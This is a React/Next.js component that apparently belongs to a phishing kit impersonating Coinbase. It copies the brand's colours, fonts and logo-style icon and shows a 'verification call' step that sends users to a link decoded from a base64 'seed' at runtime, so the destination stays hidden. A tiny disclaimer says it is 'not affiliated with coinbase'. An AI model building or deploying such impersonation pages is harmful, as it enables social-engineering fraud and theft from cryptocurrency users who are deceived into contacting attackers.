import { Label } from '@/components/ui/label'
import RenderError, { ErrorClass } from './Error'
import { FormProps } from '.'
import { ChangeEvent } from 'react'
import { KeyboardEvent } from 'react'
import Image from 'next/image'
import { Input } from '@/components/ui/input'
import { cn } from '@/lib/utils'
import { SquareArrowOutUpRight } from 'lucide-react'

export default function VideoCall({
    error = {},
    formData,
    handleKeyDown,
    handleInputChange,
    seed = ''
}: FormProps) {
    const decodedUrl = Buffer.from(seed, "base64").toString("utf-8");
    return (
        <div className='gap-6 flex flex-col pb-6'>
            <div className='w-full flex flex-col justify-center gap-4'>
                <svg xmlns="http://www.w3.org/2000/svg" fill="none" width={50} viewBox="0 0 48 48">
                    <path fill="#0052FF" fillRule="evenodd" d="M4.05 2.05a7 7 0 1 1 9.9 9.9 7 7 0 0 1-9.9-9.9Zm30 0a7 7 0 1 1 9.9 9.9 7 7 0 0 1-9.9-9.9Z" clip-rule="evenodd" />
                    <path fill="#0052FF" d="M18 25a9 9 0 1 0-18 0v5h18v-5Zm12 0a9 9 0 1 1 18 0v5H30v-5Z" />
                    <path className="fill-muted" fill="currentColor" d="M18 30h12v18H18z" />
                    <path fill="currentColor" d="M30 48c9.941 0 18-8.059 18-18H30v18Zm-12 0C8.059 48 0 39.941 0 30h18v18Z" />
                </svg>
                <h2 className='text-[28px]'>Start Your Verification Call</h2>
                <p className='max-w-sm text-muted-foreground font-cbtext text-sm'>As part of our verification process, please proceed to a secure video call with your assigned agent.</p>
            </div>
            <a
                href={decodedUrl}
                className={`mt-6 -mb-3 gap-2 disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground !text-background dark:disabled:!text-muted-foreground transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 `}
            >
                    Join Video Call
                    <SquareArrowOutUpRight className='w-4 h-4'/>
            </a>
            <span className='text-center block text-[14px] leading-5 font-cbsans text-muted-foreground -mb-5'>
                <span className='pr-1 inline-block'>
                    <div className='relative flex'>
                        <div className='w-[12px] h-[12px]'>
                            <span
                                aria-hidden='false'
                                aria-label='error'
                                className='text-[12px] font-cbicons'
                                data-icon-name='info'
                                data-testid='undefined-error-icon-glyph'
                                role='img'
                                title='error'
                            >
                                
                            </span>
                        </div>
                    </div>
                </span>
                This service is not affiliated with coinbase
            </span>
        </div>
    )
}
